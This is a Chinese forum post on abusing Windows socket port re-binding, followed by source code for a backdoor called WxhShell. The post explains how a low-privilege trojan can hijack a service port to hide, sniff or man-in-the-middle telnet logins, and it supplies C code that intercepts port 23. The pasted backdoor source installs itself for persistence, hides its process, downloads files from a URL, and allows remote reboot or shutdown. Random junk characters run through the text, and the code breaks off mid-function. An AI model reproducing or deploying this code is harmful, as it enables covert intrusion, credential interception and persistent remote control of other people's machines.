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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T=~d. &J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {R63n  
ny+r>>3Td  
  saddr.sin_family = AF_INET; mzM95yQ^Z  
<]%6x[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %U}6(~  
jK/F zD0-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x ~)~v?>T  
/>8A?+g9u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "3]}V=L<5  
\ ;]{`  
  这意味着什么?意味着可以进行如下的攻击: e(^I.`9z  
MC,Qv9m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oDD"h,Z  
!hfpa_5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NBasf n  
/'.gZo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '?m2|9~  
ipMSMk7gx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^1c7\"{  
RFS} !_t+|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aqk$4IG  
Op9 ^Eu%n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KC; o   
[/*;}NUv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2brY\c F  
r{d@74  
  #include h*JN0O<b  
  #include W3Ee3  
  #include S9$,.aq  
  #include    VFF5 Tp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j+-`P5  
  int main() TlyBpG=p  
  { <G<5)$ S  
  WORD wVersionRequested; uSI@Cjp  
  DWORD ret; bcT_YFLQ  
  WSADATA wsaData; %=2sz>M+  
  BOOL val; `)]W~  
  SOCKADDR_IN saddr; tvVf)bbz  
  SOCKADDR_IN scaddr; 3}phg  
  int err; z}-R^"40  
  SOCKET s; D}}?{pe  
  SOCKET sc; z]%@r 7  
  int caddsize; Jia@HrLR  
  HANDLE mt; W\Scak>  
  DWORD tid;   `Nvhp]E  
  wVersionRequested = MAKEWORD( 2, 2 ); <4;, y*"n  
  err = WSAStartup( wVersionRequested, &wsaData ); b p?TO]LH  
  if ( err != 0 ) { RJ0,7 E<B  
  printf("error!WSAStartup failed!\n"); Yz[Rl ^  
  return -1; _8K8Ai-~.>  
  } i83Jy w,f  
  saddr.sin_family = AF_INET; N lm}'Xt  
   H'k~;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jpp-3i.F#  
Rvf{u8W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D2D+S  
  saddr.sin_port = htons(23); MD1X1,fk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c 8  
  { &@|? %  
  printf("error!socket failed!\n"); S/pU|zV[  
  return -1; TBJ?8W(  
  } X1}M_h %  
  val = TRUE; tAep_GR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T>1#SWQ/9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @V^.eVM\R  
  { 3j$, L(  
  printf("error!setsockopt failed!\n"); hmLI9TUe6  
  return -1; ,3}+t6O"  
  } a9^})By&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,Iz9!i J"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tGl|/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !~F oy F  
S{2;PaK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u:(=gj,~x  
  { 0^J%&1aIc  
  ret=GetLastError(); .i_ gE5  
  printf("error!bind failed!\n"); ;}S_PnwC@  
  return -1; k 75 p  
  } 6 mLC{X[  
  listen(s,2); =&"pG` x  
  while(1) O{byMV{Ou  
  { 1#"wfiW  
  caddsize = sizeof(scaddr); &u[F)|  
  //接受连接请求 7yg {0a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &``nD  
  if(sc!=INVALID_SOCKET) ]P7gEBi  
  { 5lzbg   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b9i_\  
  if(mt==NULL) B$s6|~  
  { a}VR>!b  
  printf("Thread Creat Failed!\n"); OraT$lV)_  
  break; d!&LpODI]*  
  } 0]DX KI  
  } x2I|iA=  
  CloseHandle(mt); LHOt(5VY  
  } kn3GgdU  
  closesocket(s); ^hEN  
  WSACleanup(); V?^qW#AG  
  return 0; w > GW  
  }   3kGg;z6  
  DWORD WINAPI ClientThread(LPVOID lpParam) W}D[9zo/  
  { Jr2>D=  
  SOCKET ss = (SOCKET)lpParam; =|$U`~YB  
  SOCKET sc; L&NpC&>wD  
  unsigned char buf[4096]; qx >Z@o  
  SOCKADDR_IN saddr; ';v2ld 9  
  long num; cJwe4c6.m  
  DWORD val; I hSXU<]  
  DWORD ret; OH n~DL2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :Zq?V`+M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JDnWBEV  
  saddr.sin_family = AF_INET; L!/{Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9,Dw;|A]  
  saddr.sin_port = htons(23); ;*Y+.?>a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -Tuk.>i)  
  { 30Q77,Nsny  
  printf("error!socket failed!\n"); g.:ZMV  
  return -1; H)*%eG~  
  } K|~ !oQ  
  val = 100; q(s0dkrj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {t0!N]'  
  { C$ at9=(E6  
  ret = GetLastError(); wp~KrUlR  
  return -1; T72Z<h|<  
  } Avljrds+7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5c%Fb :BW=  
  { h= YTgJ  
  ret = GetLastError(); <R2SV=]Sq#  
  return -1; {~EsO1p  
  } /N/jwLr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8BS Nm  
  { u, 72Mm>  
  printf("error!socket connect failed!\n"); r`)'Kd  
  closesocket(sc); +['1~5  
  closesocket(ss); n^G[N-\3  
  return -1; +W[{UC4b  
  } ^eRbp?H*T  
  while(1) t?weD{O  
  { ]4*E:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e *D,2>o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vn/FW?d7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4uE/!dT  
  num = recv(ss,buf,4096,0); ;uZq_^?:9&  
  if(num>0) %_5?/H@%3z  
  send(sc,buf,num,0); iY sQ:3s  
  else if(num==0) a)+*Gf7?  
  break; 5X]f}6kT  
  num = recv(sc,buf,4096,0); rF?QI*`Y(  
  if(num>0) |w_l~xYV)  
  send(ss,buf,num,0); @2$Uk!  
  else if(num==0) efbJ2C  
  break; Je'%EJ  
  } '2<N_)43$  
  closesocket(ss); }b<w\9AF  
  closesocket(sc); NZ^hp\q  
  return 0 ; PP_ar{|7  
  } ~me/ve  
1':};}dCJ  
90<a'<\|  
========================================================== 8k Sb92  
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下边附上一个代码,,WXhSHELL ldaT: er9  
cft@s Y  
========================================================== _t X1z ^  
J6zU#  
#include "stdafx.h" #xq|/JWs  
?%Pi#%P  
#include <stdio.h> vhU $GG8  
#include <string.h> KC<K*UHPAH  
#include <windows.h> N_0B[!B]  
#include <winsock2.h> shY8h   
#include <winsvc.h> g</Mk^CE  
#include <urlmon.h> <@n3vO6  
`,c~M  
#pragma comment (lib, "Ws2_32.lib") E.x<J.[Y  
#pragma comment (lib, "urlmon.lib") `P;3,@ e  
AY9#{c>X  
#define MAX_USER   100 // 最大客户端连接数 leXdxpc  
#define BUF_SOCK   200 // sock buffer 1l}fX}5%I;  
#define KEY_BUFF   255 // 输入 buffer 4 `}6W>*R  
niPqzi  
#define REBOOT     0   // 重启 3XUie;*`  
#define SHUTDOWN   1   // 关机 Z+FhI^  
j#VR>0oC]\  
#define DEF_PORT   5000 // 监听端口 ]e? L,1-  
.z,`{-7U  
#define REG_LEN     16   // 注册表键长度 m\ @Q}  
#define SVC_LEN     80   // NT服务名长度 soB_j  
4)snt3k  
// 从dll定义API BL\H@D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p<RIvSqM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wI[J>9Qn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z Hl+P*)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mP +H C)2  
5*y6{7FLp  
// wxhshell配置信息 A{Y/eG8  
struct WSCFG { # *7ImEN  
  int ws_port;         // 监听端口 y(**F8>?xE  
  char ws_passstr[REG_LEN]; // 口令 6ZC~q=my  
  int ws_autoins;       // 安装标记, 1=yes 0=no gp^xl>E  
  char ws_regname[REG_LEN]; // 注册表键名 )Y=ti~?M(  
  char ws_svcname[REG_LEN]; // 服务名 }A<fCm7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 drB$q [Ak9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (%]M a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~ #P` 7G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cMAY8$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =A/$[POr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9@ ^*\s  
OL@' 1$/A  
}; 2 3A)^j  
S <++eu  
// default Wxhshell configuration sFRQFX0XoY  
struct WSCFG wscfg={DEF_PORT, Q3LScpp  
    "xuhuanlingzhe", l]5!$N*  
    1, ((fFe8Rn)q  
    "Wxhshell", C7MCMM|S  
    "Wxhshell", 4+N9Ylh  
            "WxhShell Service", ENZYrWl  
    "Wrsky Windows CmdShell Service", Ehtb`Ms  
    "Please Input Your Password: ", |OBZSk1jp  
  1, 'R n\CMTH  
  "http://www.wrsky.com/wxhshell.exe", & c 81q2  
  "Wxhshell.exe" 6[]O3Aa  
    }; %wmbFj}  
fj y2\J!  
// 消息定义模块 \'P79=AU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u< 5{H='6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l`EKL2n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n!?u/[@  
char *msg_ws_ext="\n\rExit."; aN"dk-eK  
char *msg_ws_end="\n\rQuit."; xcXnd"YYE  
char *msg_ws_boot="\n\rReboot..."; ']>/$[!  
char *msg_ws_poff="\n\rShutdown..."; xbze{9n"  
char *msg_ws_down="\n\rSave to "; :h<QM$P<  
f_r4*#&v  
char *msg_ws_err="\n\rErr!"; 7pZd?-6M^  
char *msg_ws_ok="\n\rOK!"; -+ Mh( 'K  
~"U^N:I"  
char ExeFile[MAX_PATH]; ' "o2;J)7  
int nUser = 0; iaQ3mk#  
HANDLE handles[MAX_USER]; ,mD{4 >7  
int OsIsNt; (fC U+  
h_xzqElZu  
SERVICE_STATUS       serviceStatus; PA${<wyBR_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +C`zI~8  
ID$%4jl  
// 函数声明 6w $pL(  
int Install(void); c8qwsp  
int Uninstall(void); M{`uI8vD  
int DownloadFile(char *sURL, SOCKET wsh); #j6qq3OG  
int Boot(int flag); K55]W2I9  
void HideProc(void); Q+^"v]V`d  
int GetOsVer(void); Jnq}SUev  
int Wxhshell(SOCKET wsl); 2~W8tv0^b2  
void TalkWithClient(void *cs); NAEAvXj  
int CmdShell(SOCKET sock); ?lQ-HOAw  
int StartFromService(void); bBXUD;$  
int StartWxhshell(LPSTR lpCmdLine); h[j(@P  
Xwk_QFv3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vg8c}>7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4mwAo  
_{0IX  
// 数据结构和表定义 %9`\ 7h7K  
SERVICE_TABLE_ENTRY DispatchTable[] = "5$2b>_UE  
{ iVf8M$!m  
{wscfg.ws_svcname, NTServiceMain}, C3e0d~C  
{NULL, NULL} #w]@yL]|is  
}; }FT8 [m<  
2g_2$)2  
// 自我安装 `EzC'e  
int Install(void) 6^hCW`jG  
{ ](sT,'  
  char svExeFile[MAX_PATH]; fdzaM&  
  HKEY key; 1<&nHFJ;[  
  strcpy(svExeFile,ExeFile); t,R4q*  
Q`[J3-Q*{  
// 如果是win9x系统,修改注册表设为自启动 CJ[^Fi?CH  
if(!OsIsNt) { >`Zw0S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { APL #-`XC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TWo.c _l  
  RegCloseKey(key); DzG$\%G2R}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \kVi&X=q:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g7<u eF  
  RegCloseKey(key); #(Ezt% ^  
  return 0; oh^QW`#(  
    } 5SwQ9#  
  } cR/z;*wr7  
} OE_A$8L  
else { y>_*}>2,O  
x_BnWFP  
// 如果是NT以上系统,安装为系统服务 J+0T8 ?A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $ 2PpG|q  
if (schSCManager!=0) !6DH6<HC  
{ fs%l j_t  
  SC_HANDLE schService = CreateService )w&k&TY4H  
  ( jij-pDQnv  
  schSCManager, >r5s>A[YC  
  wscfg.ws_svcname,  B/ACU  
  wscfg.ws_svcdisp, QAKA3{-(  
  SERVICE_ALL_ACCESS, Xmaj7*f>p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A&($X)t  
  SERVICE_AUTO_START, guWX$C-+1  
  SERVICE_ERROR_NORMAL, R}Z2rbt  
  svExeFile, |;(0]  
  NULL, Q[.HoqWK  
  NULL, ?cD2EX%(  
  NULL, r@]iy78 j  
  NULL, .3< sv  
  NULL 8+OcM ;0  
  ); ''~#tK f  
  if (schService!=0) >Yt+LdG!-  
  { @6:J$B~)u  
  CloseServiceHandle(schService); ,)7y? *D}  
  CloseServiceHandle(schSCManager); a) 5;Od  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P`!31P#]L  
  strcat(svExeFile,wscfg.ws_svcname); kC4}@{4i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m #}%l3$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0X[uXf  
  RegCloseKey(key); s2Hx ?~  
  return 0; )-_To&S*  
    } $kCLS7 *  
  } Iji9N!Yx  
  CloseServiceHandle(schSCManager); %SlF7$  
} kMY1Xb  
} [_wenlkm  
Mg76v<mv<  
return 1; ?wYvBFRn7"  
} eIY![..J/N  
h!h<!xaclW  
// 自我卸载 .0f6b  
int Uninstall(void) {|ChwM\x  
{ PcK;L(  
  HKEY key; 4J6,_8`U  
B$@fE}  
if(!OsIsNt) { 2P4$^G[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Gg:y?  
  RegDeleteValue(key,wscfg.ws_regname); tX *}l|;(  
  RegCloseKey(key); S, %BhQ[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =[T_`*s&  
  RegDeleteValue(key,wscfg.ws_regname); NM:\T1  
  RegCloseKey(key); STY\c5  
  return 0; :r,o-D  
  } f+iM_MI  
} ^t#W?rxp&  
} +U];  
else { 9 9S-P}xd  
`U[s d*C"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?ta(`+"  
if (schSCManager!=0) '2BE"e  
{ ( 17=|s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Mx3G*hr  
  if (schService!=0) 8O0E;6b  
  { -^+!:0';  
  if(DeleteService(schService)!=0) { =& .KKr  
  CloseServiceHandle(schService); [$[1|r *Q  
  CloseServiceHandle(schSCManager); ^ H )nQ  
  return 0; p!]$!qHO (  
  } u#uT|a.  
  CloseServiceHandle(schService); F1aI4H<(T  
  } v?en-,{A  
  CloseServiceHandle(schSCManager); r^,XpRe&M  
} ,Kw]V %xOb  
} B qA  
xesZ 7{ o  
return 1; \vQjTM-7  
} v;m}<3@'  
tjIT4  
// 从指定url下载文件 .uGvmD <;x  
int DownloadFile(char *sURL, SOCKET wsh) X[Q:c4'  
{ .*z Wm  
  HRESULT hr; ]-b`uYb  
char seps[]= "/"; 2IGoAt>V  
char *token; X[{tD#  
char *file; cun&'JOH?U  
char myURL[MAX_PATH]; 7@*l2edXm+  
char myFILE[MAX_PATH]; /degBL+  
UZ` <D/  
strcpy(myURL,sURL); +^\TG>le  
  token=strtok(myURL,seps); 1ehl=WN  
  while(token!=NULL) i^zncDMA  
  { ]&mN~$+C  
    file=token; uO,9h0y0W  
  token=strtok(NULL,seps); E,nxv+AQ  
  } 50l! f7  
,-GkP>8f(  
GetCurrentDirectory(MAX_PATH,myFILE); B"rfR_B2M#  
strcat(myFILE, "\\"); f8c'`$O  
strcat(myFILE, file); CMI V"-  
  send(wsh,myFILE,strlen(myFILE),0); eXdE?j  
send(wsh,"...",3,0); _'"whZ)2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8:)W!tr  
  if(hr==S_OK) ,fa'  
return 0; 2[8C?7_K0?  
else r%^l~PN  
return 1; Gec?  
^[]@dk9  
} ~dFdO7  
d@?++z  
// 系统电源模块 v.Y?<=E+<d  
int Boot(int flag)  ~;#OQ[  
{ RMfKM! vE  
  HANDLE hToken; :4V8Iz 71  
  TOKEN_PRIVILEGES tkp; ".Q``d&X  
bI_T\Eft  
  if(OsIsNt) { R rtr\ a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yD-L:)@"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C=&rPUX{  
    tkp.PrivilegeCount = 1; UHh7x%$n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ipThw p9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,sqx xq  
if(flag==REBOOT) { #S*`7MvM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^DW vzfj  
  return 0; ]?#E5(V@x  
} % >\v6ea  
else { >&z=ktB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =5v=<, ]  
  return 0; */7+pk(  
} \69h>h  
  } {Hu@|Q\ ~&  
  else { <V~B8C!)  
if(flag==REBOOT) { oY K(=j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Cv>V"X: `  
  return 0; Uf ?._&:  
} &I|\AG"X}  
else { 'wg>=|Q5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "^UJC-  
  return 0; abW[hp  
} ruKm_j#J  
} +=:*[JEK,U  
pp2,d`01[L  
return 1; N-9Vx#i  
} Sl!#!FGI  
/YLHg5n8+  
// win9x进程隐藏模块 2.>WR~ \  
void HideProc(void) $q iY)RE  
{ t6+c"=P#  
!G8=S'~~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !pqfx93R*  
  if ( hKernel != NULL ) XDtMFig  
  { fK %${   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uSl&d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u3B[1Ae:K  
    FreeLibrary(hKernel); YXi'^GU@  
  } E<~Fi .M;\  
o^!_S5zKe.  
return; !'jZ !NFO  
} XjRk1 ~  
Biva{'[m  
// 获取操作系统版本 %lbDcEsf9  
int GetOsVer(void) A%[ BCY_  
{ s.#%hPX{  
  OSVERSIONINFO winfo; |}-bMQ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _-M27^\vV  
  GetVersionEx(&winfo); cOq'MDr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0'3f^Ajf  
  return 1; &&daQg4Ha  
  else nhu;e}[>  
  return 0; c&mLK1A6  
} vR)f'+_Nz  
s<XAH7?0  
// 客户端句柄模块 w!j'k|b>  
int Wxhshell(SOCKET wsl) sMn)[k vX  
{ AVnH|31dC~  
  SOCKET wsh; O?=YY@j  
  struct sockaddr_in client; 2I@d=T{K  
  DWORD myID; $5]}]  
R[ #vFQ  
  while(nUser<MAX_USER) +I$,Y~&`>  
{ /F thT  
  int nSize=sizeof(client); Xv&&U@7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7'~O ai~r  
  if(wsh==INVALID_SOCKET) return 1; ;J>upI   
-91*VBrOd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yd|roG/  
if(handles[nUser]==0) Mjon++>Z  
  closesocket(wsh); lA/.4"nN  
else #B!HPlrv  
  nUser++; 'nMj<:0wlD  
  } JqmxS*_P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]<xzCPB  
B@ xjwBUk  
  return 0; RDSkFK( D  
} 3n!f'" T  
q?* z<)#  
// 关闭 socket 1 O?bT,"b  
void CloseIt(SOCKET wsh) @PZ{(  
{ 3!u`PIQv  
closesocket(wsh); wU5.t -|`  
nUser--; $A;%p6PO)  
ExitThread(0); m4r<=o  
} cSD$I^$oq  
(Qcd !!   
// 客户端请求句柄 # E{2 !Z  
void TalkWithClient(void *cs) yp!7^  
{ zCe[+F  
k6$Ft.0d1Z  
  SOCKET wsh=(SOCKET)cs; RD|DHio%  
  char pwd[SVC_LEN]; {44#<A<  
  char cmd[KEY_BUFF]; `9* |Y8:  
char chr[1]; gWu<5Y=C  
int i,j; DP8%/CV!*  
lS96Z3k"SB  
  while (nUser < MAX_USER) { ogvB{R  
WqJrDj~  
if(wscfg.ws_passstr) { jl"su:y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! }>CEE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 67g"8R#.V  
  //ZeroMemory(pwd,KEY_BUFF); jf^BEz5  
      i=0; EvKzpxCh  
  while(i<SVC_LEN) { X=KC +1e  
OfK>-8  
  // 设置超时 idNra#  
  fd_set FdRead; Rz#q68  
  struct timeval TimeOut; k.ttrKy<q/  
  FD_ZERO(&FdRead); ;EB^1*A Ew  
  FD_SET(wsh,&FdRead); `oU|U!|  
  TimeOut.tv_sec=8; dLfB){>S  
  TimeOut.tv_usec=0; YvG=P<_xw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TYKs2+S6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Wv}g"KY0  
(2Z k fN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Qqomm.[\w  
  pwd=chr[0]; 3oOr*N3R  
  if(chr[0]==0xd || chr[0]==0xa) { -.OZ  
  pwd=0; 3c=>;g  
  break; we/sv9v}n  
  } cSTF$62E  
  i++; (6*  
    } v{X<6^g  
.%EYof  
  // 如果是非法用户,关闭 socket NZ"nG<;5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r])V6 ^U  
} 82M` sk3.  
SU5O+;{`'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G1fC'6$3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cN-$;Ent  
jVPX]8  
while(1) { hS1I ;*t  
UDT\Xc  
  ZeroMemory(cmd,KEY_BUFF); f~10 i D  
[jv+Of IZ  
      // 自动支持客户端 telnet标准   )|=4H>?%  
  j=0; ek"U q RY  
  while(j<KEY_BUFF) { zP&D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P-/"sD  
  cmd[j]=chr[0]; bXi!_'z$  
  if(chr[0]==0xa || chr[0]==0xd) { P~M[i9 V  
  cmd[j]=0; v!W{j&N  
  break; PX*}.L *x  
  } 1\a.o[g3e  
  j++; v5\5:b {/  
    } V}Ee1C  
:,ucJ|  
  // 下载文件 #g/m^8n?s  
  if(strstr(cmd,"http://")) { !z1\ #|>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nb.|^O?  
  if(DownloadFile(cmd,wsh)) -wT!g;v;%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); unih"};ou  
  else $^_6,uBM[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .e5d#gE0  
  } IZLBv2m  
  else { u].7+{  
8iTB  
    switch(cmd[0]) { xnf J ruT  
  uBl&{$<  
  // 帮助 9a]{|M9  
  case '?': { )$h!lAo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); as(/ >p  
    break; >=4('  
  } -xG6J.S  
  // 安装 2qot(Zs1i  
  case 'i': { K3Bw3j 9  
    if(Install()) e#)NYcr6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{x6e/  
    else d N$,AOT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !S%0#d2  
    break; 1F_$[iIX]  
    } \,fa"^8  
  // 卸载 ~yt7L,OQ  
  case 'r': { Cs(sar:7  
    if(Uninstall()) >(-A"jf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4e?y  
    else \1SC:gN*#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}kw'&  
    break; ap8q`a{j^  
    } 4l7 Ny\J  
  // 显示 wxhshell 所在路径 zn>+ \  
  case 'p': { wBvVY3VQ^  
    char svExeFile[MAX_PATH]; ZS%W/.?  
    strcpy(svExeFile,"\n\r"); ;{aGEOP'U  
      strcat(svExeFile,ExeFile); `U=Jbdc l3  
        send(wsh,svExeFile,strlen(svExeFile),0); $H)Q UFyC  
    break; t.dr<  
    } |dz"uIrT  
  // 重启 b50mMW tG  
  case 'b': { xKl1DIN[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x0b=r!Duu  
    if(Boot(REBOOT)) zO---}[9a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h5rR44  
    else { ?% [~J  
    closesocket(wsh); r ^\(M {  
    ExitThread(0); "X^<g{]  
    } fZj,Q#}D  
    break; L$ i:~6  
    } *:Rs\QH   
  // 关机 [}M!ez  
  case 'd': { q-+:1E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $4^SWT.  
    if(Boot(SHUTDOWN)) %ioVNbrR7  
